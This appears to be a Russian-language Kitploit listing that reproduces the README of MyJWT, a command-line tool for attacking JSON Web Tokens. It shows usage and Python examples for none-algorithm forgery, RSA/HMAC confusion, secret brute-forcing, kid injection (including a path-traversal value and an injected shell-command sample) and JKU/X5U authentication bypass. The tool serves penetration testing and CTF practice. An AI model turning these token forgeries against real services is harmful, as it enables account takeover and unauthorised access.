Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
MyJWT — cli для взлома, тестирования уязвимостей в Json Web Token(JWT) | Kitploit
Инструменты/GitHubGitHub/tyki6/myjwt
Взлом паролейАнализ уязвимостейВеб-безопасностьТестирование на Проникновение
GitHubtyki6/myjwt

MyJWT

cli для взлома, тестирования уязвимостей в Json Web Token(JWT)

Репозиторий
1381910 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Введение

Данный CLI предназначен для пентестеров, участников CTF или разработчиков.
Вы можете изменять свой JWT, подписывать, инжектировать и т.д.
Обратитесь к документации для получения дополнительной информации.
Если вы заметили проблемы или хотите улучшить функционал, отправьте issue. Я отвечу как можно скорее. Наслаждайтесь :)

Документация

Документация доступна по адресу http://myjwt.readthedocs.io

Содержание

  • Features
  • Installation
  • Usage
  • Examples
  • Download
  • Contribute
  • ChangeLog

Features

  • копировать новый JWT в буфер обмена
  • пользовательский интерфейс (спасибо questionary)
  • цветной вывод
  • изменять JWT (заголовок/полезная нагрузка)
  • Уязвимость None
  • Путаница RSA/HMAC
  • Подписать JWT с помощью ключа
  • Подбор методом перебора ключа
  • Взлом JWT с помощью регулярного выражения для подбора ключа
  • Инъекция kid
  • Обход JKU
  • Обход X5U

Установка

Чтобы установить myjwt, просто используйте pip:

root@kitploit:~
pip install myjwt

Чтобы запустить myjwt из образа Docker, выполните:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Чтобы установить myjwt из git:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Чтобы установить myjwt на BlackArch:

root@kitploit:~
pacman -S myjwt

Packaging status

Использование

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

Изменение JWT

Проверка вашего JWT (HS alg)

ОпцияТипПримерОписание
--signtextmysecretkeyПодписать ваш JWT с помощью вашего ключа
--verifytextmysecretkeyПроверить ваш ключ.

Эксплуатация

Отправка вашего JWT

Другое

Примеры

  • Modify Your Jwt
  • None Vulnerabilty Check
  • Sign Key
  • Brute Force Signature
  • RSA/HMAC Confusion
  • Kid Injection
  • Send your new Jwt to url
  • Jku Vulnerability
  • X5u Vulnerability

Modify your Jwt

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Полный пример здесь: 01-modify-jwt

None Vulnerability

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

CODE

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Полный пример здесь: 02-none-vulnerability

Sign Key

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

CODE

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Полный пример здесь: 03-sign-key

Brute Force

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

CODE

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Полный пример здесь: 04-brute-force

Crack

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

CODE

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Полный пример здесь: 05-rsa-hmac-confusion

Kid Injection

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

Code

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Полный пример здесь: 06-kid-injection

Send your new Jwt to url

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Полный пример здесь: 07-jku-bypass

X5U Vulnerability

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Полный пример здесь: 08-x5u-bypass

Скачивание

Проверьте релизы на GitHub. Последняя версия доступна по адресу https://github.com/mBouamama/MyJWT/releases/latest

Участие в разработке

  • Сделайте форк этого репозитория или клонируйте его
  • Создайте новую ветку (feature, hotfix и т.д.)
  • Внесите необходимые изменения и закоммитьте их
  • Проверьте линтинг с помощью make lint
  • Проверьте юнит-тесты с помощью make test
  • Отправьте Pull Request Я проверю как можно скорее.

Журнал изменений

Журнал стал довольно длинным. Он перемещен в отдельный файл.

См. CHANGES.

Скачать инструмент
ОпцияТипПримерОписание
--ful-payloadJSON{"user": "admin"}Новая полезная нагрузка для вашего JWT.
-h, --add-headerkey=valueuser=adminДобавить новый ключ, значение в заголовок JWT, если ключ присутствует, старое значение будет заменено.
-p, --add-payloadkey=valueuser=adminДобавить новый ключ, значение в полезную нагрузку JWT, если ключ присутствует, старое значение будет заменено.
ОпцияТипПримерОписание
-none, --none-vulnerabilityНичегоПроверка уязвимости алгоритма None.
--hmacPATH./public.pemПроверка уязвимости RS/HMAC и подпись вашего JWT открытым ключом.
--bruteforcePATH./wordlist/big.txtПодбор методом перебора секретного ключа, использованного для подписи токена. Используйте текстовый файл со всеми паролями (по одному в строке).
--crackREGEX"[a-z]{4}"Регулярное выражение для перебора всех возможных строк для угадывания секретного ключа, использованного для подписи токена.
--kidtext"00; echo /etc/.passwd"Инъекция SQL через kid
--jkutextMYPUBLICIPЗаголовок JKU для обхода аутентификации, используйте --file, если хотите изменить имя файла jwks, и --key, если хотите использовать свой собственный закрытый pem
--x5utextMYPUBLICIPДля заголовка jku или x5c, используйте --file, если хотите изменить имя файла jwks, и --key, если хотите использовать свой собственный закрытый pem
ОпцияТипПримерОписание
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminURL для отправки вашего JWT.
-m, --methodtextPOSTМетод для отправки запроса на URL (по умолчанию: GET).
-d, --datakey=valuesecret=MY_JWTДанные для отправки на ваш URL. Формат: key=value. Если значение равно MY_JWT, оно будет заменено на ваш новый JWT.
-c, --cookieskey=valuesecret=MY_JWTКуки для отправки на ваш URL. Формат: key=value. Если значение равно MY_JWT, оно будет заменено на ваш новый JWT.
ОпцияТипПримерОписание
--crtPATH./public.crtДля заголовка x5c, принудительно указать файл crt
--keyPATH./private.pemДля заголовка jku или x5c, принудительно указать файл вашего закрытого ключа
--filetextmyfileДля заголовка jku, принудительно указать имя файла без расширения .json
--printНичегоВывести декодированный JWT
--helpНичегоПоказать справочное сообщение и выйти.
--versionНичегоПоказать версию Myjwt